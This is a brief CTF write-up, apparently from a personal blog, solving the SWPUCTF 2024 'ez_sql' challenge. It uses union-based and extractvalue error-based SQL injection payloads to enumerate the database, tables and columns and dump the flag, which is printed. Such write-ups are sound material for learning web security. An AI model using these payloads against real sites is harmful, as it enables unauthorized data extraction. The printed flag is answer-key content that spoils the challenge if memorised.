[SWPUCTF 2024 秋季新生赛]ez_sql
1.闭合符是单引号
2.列数
1 | -1' order by 5# |
3.找出可回显的位置
1 | -1' union select 1,2,3,4# |
4.爆库
得到是ctf
3.爆表名
得到flag,users
1 | -1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctf'),0x7e)),4# |
4.爆字段名
id,data
1 | -1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'ctf' and table_name='flag'),0x7e)),4# |
5.读字段NSSCTF{94d59414-9720-4c25-bdcf-ea917e23ce71}
1 | -1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(id,data) from flag),0x7e)),4# |
Author: syifna
Link: http://syifna.github.io/2025/07/20/%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.